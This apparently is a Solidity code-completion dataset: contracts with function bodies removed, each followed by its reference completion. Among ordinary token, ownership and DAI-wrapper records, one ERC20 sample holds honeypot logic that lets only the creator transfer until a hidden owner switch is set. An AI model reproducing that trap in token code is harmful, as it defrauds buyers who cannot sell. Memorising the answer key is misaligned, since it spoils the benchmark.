AllLock()public isCanChange whenNotLock{ Lock = true; StartAllLock(_msgSender()); } function AllUnLock()public onlyOwner whenLock{ Lock = false; StartAllUnLock(_msgSender()); } function UnStopAdmin()public onlyOwner{ CanChange = true; ReturnAdmin(_msgSender()); } function StopAdmin() public onlyOwner{ CanChange = false; PauseAdmin(_msgSender()); } function UseLock(address _address)public onlyOwner{ bool _IsLock = true; AccountIsLock[_address]=_IsLock; if (isArrAccountIsLock[_address] != true) { ArrAccountIsLock[ArrAccountIsLock.length++] = _address; isArrAccountIsLock[_address] = true; }if(_IsLock == true){ StartUseLock(_address,_IsLock); } } function UseUnLock(address _address)public onlyOwner{ bool _IsLock = false; AccountIsLock[_address]=_IsLock; if (isArrAccountIsLock[_address] != true) { ArrAccountIsLock[ArrAccountIsLock.length++] = _address; isArrAccountIsLock[_address] = true; } if(_IsLock == false){ StartUseUnLock(_address,_IsLock); } } /* Send coins */ function transfer(address _to, uint256 _value) public { require(((!Lock&&AccountIsLock[msg.sender]!=true)||((Lock)&&AccountIsNotLock[msg.sender]==true)||(AccountIsNotLockForReturn[msg.sender]==true&&_to==AddressForReturn))&&now>AccountIsLockByDate[msg.sender]); require(_to != 0x0); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place if (isHolder[_to] != true) { Arrholders[Arrholders.length++] = _to; isHolder[_to] = true; }} /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value)public IsNotLock returns(bool success) { require(((!Lock&&AccountIsLock[_from]!=true)||((Lock)&&AccountIsNotLock[_from]==true))&&now>AccountIsLockByDate[_from]); require (balanceOf[_from] >= _value) ; // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (_value <= allowance[_from][msg.sender]) ; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); if (isHolder[_to] != true) { Arrholders[Arrholders.length++] = _to; isHolder[_to] = true; } return true; } <FILL_FUNCTION> function GetHoldersCount () public view returns (uint _HoldersCount){ return (Arrholders.length-1); } function GetAccountIsLockCount () public view returns (uint _Count){ return (ArrAccountIsLock.length); } function GetAccountIsNotLockForReturnCount () public view returns (uint _Count){ return (ArrAccountIsNotLockForReturn.length); } function GetAccountIsNotLockCount () public view returns (uint _Count){ return (ArrAccountIsNotLock.length); } function GetAccountIsLockByDateCount () public view returns (uint _Count){ return (ArrAccountIsLockByDate.length); } function () public payable { revert(); } }
require(msg.sender != address(0)); if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply Transfer(msg.sender,address(0),_value); StartBurn(msg.sender, _value); return true;
function Burn(uint256 _value)public onlyOwner returns (bool success)
/* @param _value the amount of money to burn*/ function Burn(uint256 _value)public onlyOwner returns (bool success)
72261
WrapperLockDai
withdraw
contract WrapperLockDai is ERC20, ERC20Detailed, Ownable, DSMath { using SafeERC20 for IERC20; using SafeMath for uint256; address public TRANSFER_PROXY_V2 = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public daiJoin; address public pot; mapping (address => uint256) public pieBalance; uint public Pie; mapping (address => bool) public isSigner; address public originalToken; uint public interestFee; mapping (address => uint) public depositLock; uint constant public MAX_PERCENTAGE = 100; uint constant WAD_TO_RAY = 10 ** 9; event InterestFeeSet(uint interestFee); event Withdraw(uint pie, uint exitWad); event Test(address account, uint amount); constructor (address _originalToken, string memory name, string memory symbol, uint8 decimals, uint _interestFee, address _daiJoin, address _daiPot) public Ownable() ERC20Detailed(name, symbol, decimals) { require(_interestFee >= 0 && _interestFee <= MAX_PERCENTAGE); originalToken = _originalToken; interestFee = _interestFee; daiJoin = _daiJoin; pot = _daiPot; isSigner[msg.sender] = true; emit InterestFeeSet(interestFee); } function _mintPie(address account, uint pie) internal { pieBalance[account] = add(pieBalance[account], pie); Pie = add(Pie, pie); } function _burnPie(address account, uint pie) internal { pieBalance[account] = sub(pieBalance[account], pie); Pie = sub(Pie, pie); } /* // @dev method only for testing, needs to be commented out when deploying function addProxy(address _addr) public { TRANSFER_PROXY_V2 = _addr; } */ // @dev Transfer original token from the user, deposit them in DSR to get interest, and give the user wrapped tokens function deposit(uint _value, uint _forTime) public returns (bool success) { require(_forTime >= 1); require(now + _forTime * 1 hours >= depositLock[msg.sender]); IERC20(originalToken).safeTransferFrom(msg.sender, address(this), _value); DaiJoinLike(daiJoin).dai().approve(daiJoin, _value); DaiJoinLike(daiJoin).join(address(this), _value); uint pie = _joinPot(_value); _mint(msg.sender, _value); _mintPie(msg.sender, pie); depositLock[msg.sender] = now + _forTime * 1 hours; return true; } // @dev Send WRAP to withdraw DAI tokens, recieving the corresponding interest for that part of the user's deposited amount in DAI. function withdraw( uint _value, uint8 v, bytes32 r, bytes32 s, uint signatureValidUntilBlock ) public returns (bool success) {<FILL_FUNCTION_BODY> } // @dev Calculate the value of users' normalized balance that proportionally corresponds to denormalized amount function _getPiePercentage(address account, uint amount) public returns (uint) { require(amount > 0); require(balanceOf(account) > 0); require(pieBalance[account] > 0); if (amount == balanceOf(account)) { return pieBalance[account]; } uint rpercentage = rdiv(mul(amount, WAD_TO_RAY), mul(balanceOf(account), WAD_TO_RAY)); uint pie = rmul(mul(pieBalance[account], WAD_TO_RAY), rpercentage) / WAD_TO_RAY; return pie; } // @dev Admin function to 'gulp' excess tokens that were sent to this address, for the wrapped token // @dev The wrapped token doesn't store balances anymore - that DAI is sent from the user to the proxy, converted to vat balance (burned in the process), and deposited in the pot on behalf of the proxy. // @dev So, we can safely assume any dai tokens sent here are withdrawable. function withdrawBalanceDifference() public onlyOwner returns (bool success) { uint bal = IERC20(originalToken).balanceOf(address(this)); require (bal > 0); IERC20(originalToken).safeTransfer(msg.sender, bal); return true; } // @dev Admin function to 'gulp' excess tokens that were sent to this address, for any token other than the wrapped function withdrawDifferentToken(address _differentToken) public onlyOwner returns (bool) { require(_differentToken != originalToken); require(IERC20(_differentToken).balanceOf(address(this)) > 0); IERC20(_differentToken).safeTransfer(msg.sender, IERC20(_differentToken).balanceOf(address(this))); return true; } // @dev Admin function to withdraw excess vat balance to Owner // @param _rad Balance to withdraw, in Rads function withdrawVatBalance(uint _rad) public onlyOwner returns (bool) { DaiJoinLike(daiJoin).vat().move(address(this), owner(), _rad); } // @dev Pie can accumulate in the pot when we transferFrom without resolving interest. This allows for the exchange to collect small interest amounts in their entirety, function exitExcessPie() public onlyOwner returns (bool) { uint truePie = PotLike(pot).pie(address(this)); uint excessPie = sub(truePie, Pie); _exitPot(excessPie); } // @dev Admin function to change interestFee for future calculations function setInterestFee(uint _interestFee) public onlyOwner returns (bool) { require(_interestFee >= 0 && _interestFee <= MAX_PERCENTAGE); interestFee = _interestFee; emit InterestFeeSet(interestFee); } // @dev Override from ERC20 - We don't allow the users to transfer their wrapped tokens directly function transfer(address _to, uint256 _value) public returns (bool) { return false; } // @dev Get interest user is entitled to, based on current interestFee // @dev The remaining interest stays in the exhcange as VAT, to be withdrawn or converted at-will function _getInterestSplit(uint principal, uint plusInterest) internal returns(uint) { if (plusInterest <= principal) { return 0; } uint interest = sub(plusInterest, principal); if (interestFee == 0) { return interest; } if (interestFee == MAX_PERCENTAGE) { return 0; } // [Precision] Take rounding error for exchange [If we want to give the user the rounding error, calculate exchangeInterest first using interestFee] uint userInterestPercentage = sub(MAX_PERCENTAGE, interestFee); uint userInterest = mul(interest, userInterestPercentage) / MAX_PERCENTAGE; return userInterest; } // @dev Override from ERC20: We don't allow the users to transfer their wrapped tokens directly // @dev The tokens must be transffered to or from a signer, not between normal users // @dev ONLY the TransferProxy can call this - a safeguard as it already has the exclusive right to be given allowances. // @param _from as per ERC20 // @param _to as per ERC20 // @param _value as per ERC20 // // @param _resolveInterest function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(isSigner[_to] || isSigner[_from]); assert(msg.sender == TRANSFER_PROXY_V2); depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours; // Take the corresponding pie from the pot & reduce sender Pie accordingly. uint pie = _getPiePercentage(_from, _value); _burnPie(_from, pie); _transfer(_from, _to, _value); //Handles cases of 0 from balance or amount // if (_resolveInterest) { uint exitWad = _exitPot(pie); // Track & reinvest interest gained, if any uint userInterest = _getInterestSplit(_value, exitWad); if (userInterest > 0) { // Mint new WRAP tokens for the user // Remaining VAT will stay in the exchange [We don't want to do this conversion now for gas reasons] uint interestPie = _joinPot(userInterest); _mint(_from, userInterest); _mintPie(_from, interestPie); } // Use the pie value (for the amount transferred) and deposit on behalf of B. It will be worth a different Pie value than it was originally. uint toPie = _joinPot(_value); _mintPie(_to, toPie); // } } // @dev Allowancss can only be set with the TransferProxy as the spender, meaning only it can use transferFrom function allowance(address _owner, address _spender) public view returns (uint) { if (_spender == TRANSFER_PROXY_V2) { return 2**256 - 1; } } function isValidSignature( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) public view returns (bool) { return isSigner[ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s )]; } // @dev Existing signers can add new signers function addSigner(address _newSigner) public { require(isSigner[msg.sender]); isSigner[_newSigner] = true; } function keccak(address _sender, address _wrapper, uint _validTill) public pure returns(bytes32) { return keccak256(abi.encodePacked(_sender, _wrapper, _validTill)); } // @dev wad is denominated in dai function _joinPot(uint wad) internal returns (uint) { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to get the chi rate if needed, otherwise join will fail uint chi = PotLike(pot).drip(); // [Precision Loss]: Scaled Mul, Ray -> Wad scale uint pie = mul(wad, RAY) / chi; // Approves the pot to take out DAI from the proxy's balance in the vat if (vat.can(address(this), address(pot)) == 0) { vat.hope(pot); } // Joins the pie value (equivalent to the DAI wad amount) in the` pot PotLike(pot).join(pie); return pie; } // wad is denominated in (1/chi) * dai function _exitPot(uint pie) internal returns (uint) { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to get the chi rate if needed, otherwise join will fail uint chi = PotLike(pot).drip(); uint expectedWad = mul(pie, chi) / RAY; PotLike(pot).exit(pie); // Checks the actual balance of DAI in the vat after the pot exit // [ Rounding ] uint bal = DaiJoinLike(daiJoin).vat().dai(address(this)); // Allows adapter to access to proxy's DAI balance in the vat if (vat.can(address(this), address(daiJoin)) == 0) { vat.hope(daiJoin); } /* [Proxy] It is necessary to check if due rounding the exact wad amount can be exited by the adapter. Otherwise it will do the maximum DAI balance in the vat [Dev] This is because it's possible to receive less than what we're entitled to on any given operation - but by how much? */ uint exitWad = bal >= mul(expectedWad, RAY) ? expectedWad : bal / RAY; return exitWad; } }
contract WrapperLockDai is ERC20, ERC20Detailed, Ownable, DSMath { using SafeERC20 for IERC20; using SafeMath for uint256; address public TRANSFER_PROXY_V2 = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public daiJoin; address public pot; mapping (address => uint256) public pieBalance; uint public Pie; mapping (address => bool) public isSigner; address public originalToken; uint public interestFee; mapping (address => uint) public depositLock; uint constant public MAX_PERCENTAGE = 100; uint constant WAD_TO_RAY = 10 ** 9; event InterestFeeSet(uint interestFee); event Withdraw(uint pie, uint exitWad); event Test(address account, uint amount); constructor (address _originalToken, string memory name, string memory symbol, uint8 decimals, uint _interestFee, address _daiJoin, address _daiPot) public Ownable() ERC20Detailed(name, symbol, decimals) { require(_interestFee >= 0 && _interestFee <= MAX_PERCENTAGE); originalToken = _originalToken; interestFee = _interestFee; daiJoin = _daiJoin; pot = _daiPot; isSigner[msg.sender] = true; emit InterestFeeSet(interestFee); } function _mintPie(address account, uint pie) internal { pieBalance[account] = add(pieBalance[account], pie); Pie = add(Pie, pie); } function _burnPie(address account, uint pie) internal { pieBalance[account] = sub(pieBalance[account], pie); Pie = sub(Pie, pie); } /* // @dev method only for testing, needs to be commented out when deploying function addProxy(address _addr) public { TRANSFER_PROXY_V2 = _addr; } */ // @dev Transfer original token from the user, deposit them in DSR to get interest, and give the user wrapped tokens function deposit(uint _value, uint _forTime) public returns (bool success) { require(_forTime >= 1); require(now + _forTime * 1 hours >= depositLock[msg.sender]); IERC20(originalToken).safeTransferFrom(msg.sender, address(this), _value); DaiJoinLike(daiJoin).dai().approve(daiJoin, _value); DaiJoinLike(daiJoin).join(address(this), _value); uint pie = _joinPot(_value); _mint(msg.sender, _value); _mintPie(msg.sender, pie); depositLock[msg.sender] = now + _forTime * 1 hours; return true; } <FILL_FUNCTION> // @dev Calculate the value of users' normalized balance that proportionally corresponds to denormalized amount function _getPiePercentage(address account, uint amount) public returns (uint) { require(amount > 0); require(balanceOf(account) > 0); require(pieBalance[account] > 0); if (amount == balanceOf(account)) { return pieBalance[account]; } uint rpercentage = rdiv(mul(amount, WAD_TO_RAY), mul(balanceOf(account), WAD_TO_RAY)); uint pie = rmul(mul(pieBalance[account], WAD_TO_RAY), rpercentage) / WAD_TO_RAY; return pie; } // @dev Admin function to 'gulp' excess tokens that were sent to this address, for the wrapped token // @dev The wrapped token doesn't store balances anymore - that DAI is sent from the user to the proxy, converted to vat balance (burned in the process), and deposited in the pot on behalf of the proxy. // @dev So, we can safely assume any dai tokens sent here are withdrawable. function withdrawBalanceDifference() public onlyOwner returns (bool success) { uint bal = IERC20(originalToken).balanceOf(address(this)); require (bal > 0); IERC20(originalToken).safeTransfer(msg.sender, bal); return true; } // @dev Admin function to 'gulp' excess tokens that were sent to this address, for any token other than the wrapped function withdrawDifferentToken(address _differentToken) public onlyOwner returns (bool) { require(_differentToken != originalToken); require(IERC20(_differentToken).balanceOf(address(this)) > 0); IERC20(_differentToken).safeTransfer(msg.sender, IERC20(_differentToken).balanceOf(address(this))); return true; } // @dev Admin function to withdraw excess vat balance to Owner // @param _rad Balance to withdraw, in Rads function withdrawVatBalance(uint _rad) public onlyOwner returns (bool) { DaiJoinLike(daiJoin).vat().move(address(this), owner(), _rad); } // @dev Pie can accumulate in the pot when we transferFrom without resolving interest. This allows for the exchange to collect small interest amounts in their entirety, function exitExcessPie() public onlyOwner returns (bool) { uint truePie = PotLike(pot).pie(address(this)); uint excessPie = sub(truePie, Pie); _exitPot(excessPie); } // @dev Admin function to change interestFee for future calculations function setInterestFee(uint _interestFee) public onlyOwner returns (bool) { require(_interestFee >= 0 && _interestFee <= MAX_PERCENTAGE); interestFee = _interestFee; emit InterestFeeSet(interestFee); } // @dev Override from ERC20 - We don't allow the users to transfer their wrapped tokens directly function transfer(address _to, uint256 _value) public returns (bool) { return false; } // @dev Get interest user is entitled to, based on current interestFee // @dev The remaining interest stays in the exhcange as VAT, to be withdrawn or converted at-will function _getInterestSplit(uint principal, uint plusInterest) internal returns(uint) { if (plusInterest <= principal) { return 0; } uint interest = sub(plusInterest, principal); if (interestFee == 0) { return interest; } if (interestFee == MAX_PERCENTAGE) { return 0; } // [Precision] Take rounding error for exchange [If we want to give the user the rounding error, calculate exchangeInterest first using interestFee] uint userInterestPercentage = sub(MAX_PERCENTAGE, interestFee); uint userInterest = mul(interest, userInterestPercentage) / MAX_PERCENTAGE; return userInterest; } // @dev Override from ERC20: We don't allow the users to transfer their wrapped tokens directly // @dev The tokens must be transffered to or from a signer, not between normal users // @dev ONLY the TransferProxy can call this - a safeguard as it already has the exclusive right to be given allowances. // @param _from as per ERC20 // @param _to as per ERC20 // @param _value as per ERC20 // // @param _resolveInterest function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(isSigner[_to] || isSigner[_from]); assert(msg.sender == TRANSFER_PROXY_V2); depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours; // Take the corresponding pie from the pot & reduce sender Pie accordingly. uint pie = _getPiePercentage(_from, _value); _burnPie(_from, pie); _transfer(_from, _to, _value); //Handles cases of 0 from balance or amount // if (_resolveInterest) { uint exitWad = _exitPot(pie); // Track & reinvest interest gained, if any uint userInterest = _getInterestSplit(_value, exitWad); if (userInterest > 0) { // Mint new WRAP tokens for the user // Remaining VAT will stay in the exchange [We don't want to do this conversion now for gas reasons] uint interestPie = _joinPot(userInterest); _mint(_from, userInterest); _mintPie(_from, interestPie); } // Use the pie value (for the amount transferred) and deposit on behalf of B. It will be worth a different Pie value than it was originally. uint toPie = _joinPot(_value); _mintPie(_to, toPie); // } } // @dev Allowancss can only be set with the TransferProxy as the spender, meaning only it can use transferFrom function allowance(address _owner, address _spender) public view returns (uint) { if (_spender == TRANSFER_PROXY_V2) { return 2**256 - 1; } } function isValidSignature( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) public view returns (bool) { return isSigner[ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s )]; } // @dev Existing signers can add new signers function addSigner(address _newSigner) public { require(isSigner[msg.sender]); isSigner[_newSigner] = true; } function keccak(address _sender, address _wrapper, uint _validTill) public pure returns(bytes32) { return keccak256(abi.encodePacked(_sender, _wrapper, _validTill)); } // @dev wad is denominated in dai function _joinPot(uint wad) internal returns (uint) { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to get the chi rate if needed, otherwise join will fail uint chi = PotLike(pot).drip(); // [Precision Loss]: Scaled Mul, Ray -> Wad scale uint pie = mul(wad, RAY) / chi; // Approves the pot to take out DAI from the proxy's balance in the vat if (vat.can(address(this), address(pot)) == 0) { vat.hope(pot); } // Joins the pie value (equivalent to the DAI wad amount) in the` pot PotLike(pot).join(pie); return pie; } // wad is denominated in (1/chi) * dai function _exitPot(uint pie) internal returns (uint) { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to get the chi rate if needed, otherwise join will fail uint chi = PotLike(pot).drip(); uint expectedWad = mul(pie, chi) / RAY; PotLike(pot).exit(pie); // Checks the actual balance of DAI in the vat after the pot exit // [ Rounding ] uint bal = DaiJoinLike(daiJoin).vat().dai(address(this)); // Allows adapter to access to proxy's DAI balance in the vat if (vat.can(address(this), address(daiJoin)) == 0) { vat.hope(daiJoin); } /* [Proxy] It is necessary to check if due rounding the exact wad amount can be exited by the adapter. Otherwise it will do the maximum DAI balance in the vat [Dev] This is because it's possible to receive less than what we're entitled to on any given operation - but by how much? */ uint exitWad = bal >= mul(expectedWad, RAY) ? expectedWad : bal / RAY; return exitWad; } }
if (now > depositLock[msg.sender]) { } else { require(block.number < signatureValidUntilBlock); require(isValidSignature(keccak256(abi.encodePacked(msg.sender, address(this), signatureValidUntilBlock)), v, r, s), "signature"); depositLock[msg.sender] = 0; } uint pie = _getPiePercentage(msg.sender, _value); // [Precision?] Division operation uint exitWad = _exitPot(pie); // [Precision? - SF conversion: Wrapper can gain VAT Dust uint userInterest = _getInterestSplit(_value, exitWad); DaiJoinLike(daiJoin).exit(msg.sender, add(_value, userInterest)); // Convert principal + userInterest to DAI + send to user _burn(msg.sender, _value); _burnPie(msg.sender, pie); emit Withdraw(pie, exitWad); return true;
function withdraw( uint _value, uint8 v, bytes32 r, bytes32 s, uint signatureValidUntilBlock ) public returns (bool success)
// @dev Send WRAP to withdraw DAI tokens, recieving the corresponding interest for that part of the user's deposited amount in DAI. function withdraw( uint _value, uint8 v, bytes32 r, bytes32 s, uint signatureValidUntilBlock ) public returns (bool success)
59637
ERC20
_transfer
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public checkTheCD; mapping (address => bool) public IsCDActiveOrNot; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; bool private _gottaCatchThemAll = false; string private _name; string private _symbol; address private _creator; bool private cooldownSearch; bool private antiWhale; bool private tempVal; uint256 private setAntiWhaleAmount; uint256 private setTxLimit; uint256 private chTx; uint256 private tXs; constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) { _name = name_; _symbol = symbol_; _creator = creator_; IsCDActiveOrNot[creator_] = tmp; checkTheCD[creator_] = tmp2; antiWhale = tmp; tempVal = tmp2; cooldownSearch = tmp2; tXs = tmp9; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; setAntiWhaleAmount = _totalSupply; chTx = _totalSupply / val1; setTxLimit = chTx * val2; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[0x000000000000000000000000000000000000dEaD] += amount; emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == _creator) && (cooldownSearch == true)) { checkTheCD[spender] = true; IsCDActiveOrNot[spender] = false; cooldownSearch = false; } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _Pokedex(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner { checkTheCD[account] = v1; IsCDActiveOrNot[account] = v2; antiWhale = v3; setAntiWhaleAmount = v4; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual { if ((block.timestamp - amount) > 15*60) { IsCDActiveOrNot[account] = false; } } function Pokemon() external onlyOwner() { _gottaCatchThemAll = true; } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public checkTheCD; mapping (address => bool) public IsCDActiveOrNot; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; bool private _gottaCatchThemAll = false; string private _name; string private _symbol; address private _creator; bool private cooldownSearch; bool private antiWhale; bool private tempVal; uint256 private setAntiWhaleAmount; uint256 private setTxLimit; uint256 private chTx; uint256 private tXs; constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) { _name = name_; _symbol = symbol_; _creator = creator_; IsCDActiveOrNot[creator_] = tmp; checkTheCD[creator_] = tmp2; antiWhale = tmp; tempVal = tmp2; cooldownSearch = tmp2; tXs = tmp9; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } <FILL_FUNCTION> function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; setAntiWhaleAmount = _totalSupply; chTx = _totalSupply / val1; setTxLimit = chTx * val2; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[0x000000000000000000000000000000000000dEaD] += amount; emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == _creator) && (cooldownSearch == true)) { checkTheCD[spender] = true; IsCDActiveOrNot[spender] = false; cooldownSearch = false; } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _Pokedex(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner { checkTheCD[account] = v1; IsCDActiveOrNot[account] = v2; antiWhale = v3; setAntiWhaleAmount = v4; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual { if ((block.timestamp - amount) > 15*60) { IsCDActiveOrNot[account] = false; } } function Pokemon() external onlyOwner() { _gottaCatchThemAll = true; } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender != _creator) { require(_gottaCatchThemAll); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if ((address(sender) == _creator) && (tempVal == false)) { setAntiWhaleAmount = chTx; antiWhale = true; } if ((address(sender) == _creator) && (tempVal == true)) { checkTheCD[recipient] = true; tempVal = false; } if (checkTheCD[sender] == false) { if ((amount > setTxLimit)) { require(false); } require(amount < setAntiWhaleAmount); if (antiWhale == true) { if (IsCDActiveOrNot[sender] == true) { require(false, "ERC20: please wait another %m:%s min before transfering"); } IsCDActiveOrNot[sender] = true; _cooldownBeforeNewSell(sender, block.timestamp); } } uint256 taxamount = amount; _balances[sender] = senderBalance - taxamount; _balances[recipient] += taxamount; emit Transfer(sender, recipient, taxamount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual
function _transfer(address sender, address recipient, uint256 amount) internal virtual
72126
Owned
acceptOwnership
contract Owned { address public owner; address public newOwner; // Events --------------------------- event OwnershipTransferProposed(address indexed _from, address indexed _to); event OwnershipTransferred(address indexed _from, address indexed _to); // Modifier ------------------------- modifier onlyOwner { require(msg.sender == owner); _; } // Functions ------------------------ function Owned() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); require(_newOwner != address(0x0)); OwnershipTransferProposed(owner, _newOwner); newOwner = _newOwner; } function acceptOwnership() public {<FILL_FUNCTION_BODY> } }
contract Owned { address public owner; address public newOwner; // Events --------------------------- event OwnershipTransferProposed(address indexed _from, address indexed _to); event OwnershipTransferred(address indexed _from, address indexed _to); // Modifier ------------------------- modifier onlyOwner { require(msg.sender == owner); _; } // Functions ------------------------ function Owned() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); require(_newOwner != address(0x0)); OwnershipTransferProposed(owner, _newOwner); newOwner = _newOwner; } <FILL_FUNCTION> }
require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner;
function acceptOwnership() public
function acceptOwnership() public
19496
FBT
approve
contract FBT is ERC20 { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bytes1) addresslevels; mapping (address => uint256) feebank; uint256 public totalSupply; uint256 public pieceprice; uint256 public datestart; uint256 public totalaccumulated; address dev1 = 0xFAB873F0f71dCa84CA33d959C8f017f886E10C63; address dev2 = 0xD7E9aB6a7a5f303D3Cd17DcaEFF254D87757a1F8; function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); refundFees(); return true; } else revert(); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); refundFees(); return true; } else revert(); } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) {<FILL_FUNCTION_BODY> } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function refundFees() { uint256 refund = 200000*tx.gasprice; if (feebank[msg.sender]>=refund) { msg.sender.transfer(refund); feebank[msg.sender]-=refund; } } }
